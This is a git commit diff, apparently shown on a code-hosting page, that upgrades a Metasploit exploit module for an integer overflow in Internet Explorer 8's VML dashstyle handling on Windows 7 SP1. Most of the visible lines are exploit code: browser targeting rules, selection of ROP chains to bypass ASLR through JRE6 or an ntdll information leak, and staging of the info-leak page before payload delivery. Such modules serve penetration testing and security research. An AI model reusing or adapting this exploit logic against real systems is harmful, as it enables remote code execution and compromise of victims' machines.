Working version after the upgrade
parent
9e3388df34
commit
2dedaee9ca
|
@ -28,18 +28,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits an integer overflow vulnerability on Internet Explorer.
|
This module exploits an integer overflow vulnerability on Internet Explorer.
|
||||||
The vulnerability exists in the handling of the dashstyle.array length for vml
|
The vulnerability exists in the handling of the dashstyle.array length for vml
|
||||||
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
|
shapes on the vgx.dll module.
|
||||||
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
|
|
||||||
to use an info leak to disclose the ntdll.dll base address is provided. This target
|
This module has been built and tested specifically against Windows 7 SP1 with
|
||||||
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
|
Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
|
||||||
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
|
bypass ASLR, and by default the info leak is used. The ntdll version should be
|
||||||
|
either v6.1.7601.17514 (the default dll version on a newly installed/unpatched
|
||||||
|
Windows 7 SP1), or ntdll.dll v6.1.7601.17725 (installed after apply MS12-001).
|
||||||
|
|
||||||
|
If you wish to try the JRE6 component instead to bypass ASLR, you can set the
|
||||||
|
advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
|
||||||
|
have this particular component, the exploit will refuse the attack.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
|
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
|
||||||
'4B5F5F4B', # PoC
|
'4B5F5F4B', # PoC
|
||||||
'juan vazquez' # Metasploit module
|
'juan vazquez', # Metasploit module
|
||||||
|
'sinn3r' # BES upgrade
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -61,10 +68,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script/i,
|
:source => /script/i,
|
||||||
:os_name => OperatingSystems::WINDOWS,
|
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||||
:ua_name => HttpClients::IE,
|
:ua_name => HttpClients::IE,
|
||||||
:ua_ver => '8.0',
|
:ua_ver => '8.0',
|
||||||
},
|
},
|
||||||
|
@ -181,10 +189,10 @@ for (var i=1; i < 0x300; i++) {
|
||||||
def get_payload(t, cli)
|
def get_payload(t, cli)
|
||||||
code = payload.encoded
|
code = payload.encoded
|
||||||
# No rop. Just return the payload.
|
# No rop. Just return the payload.
|
||||||
return code if t['Rop'].nil?
|
return code if t.opts['Rop'].nil?
|
||||||
|
|
||||||
# Both ROP chains generated by mona.py - See corelan.be
|
# Both ROP chains generated by mona.py - See corelan.be
|
||||||
case t['Rop']
|
case t.opts['Rop']
|
||||||
when :jre
|
when :jre
|
||||||
print_status("Using JRE ROP")
|
print_status("Using JRE ROP")
|
||||||
stack_pivot = [
|
stack_pivot = [
|
||||||
|
@ -363,13 +371,13 @@ function exploit(){
|
||||||
def set_rop(t, rop, info)
|
def set_rop(t, rop, info)
|
||||||
case rop
|
case rop
|
||||||
when /^ntdll$/i
|
when /^ntdll$/i
|
||||||
t['Rop'] = :ntdll
|
t.opts['Rop'] = :ntdll
|
||||||
when /^jre6$/i
|
when /^jre6$/i
|
||||||
if info[:java] !~ /1\.6|6\.0/
|
if info[:java] !~ /1\.6|6\.0/
|
||||||
raise RuntimeError, "Target does not have the suitable Java component installed for our attack"
|
raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
|
||||||
end
|
end
|
||||||
|
|
||||||
t['Rop'] = :jre
|
t.opts['Rop'] = :jre
|
||||||
end
|
end
|
||||||
|
|
||||||
return t
|
return t
|
||||||
|
@ -379,11 +387,12 @@ function exploit(){
|
||||||
begin
|
begin
|
||||||
my_target = set_rop(get_target, datastore['ROP'], target_info)
|
my_target = set_rop(get_target, datastore['ROP'], target_info)
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
print_error(e.message)
|
# This one is just a warning, because it's a requirement check so it's not that scary.
|
||||||
|
print_warning(e.message)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
|
if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
|
||||||
html = html_info_leak
|
html = html_info_leak
|
||||||
print_status("Sending HTML to info leak...")
|
print_status("Sending HTML to info leak...")
|
||||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||||
|
|
Loading…
Reference in New Issue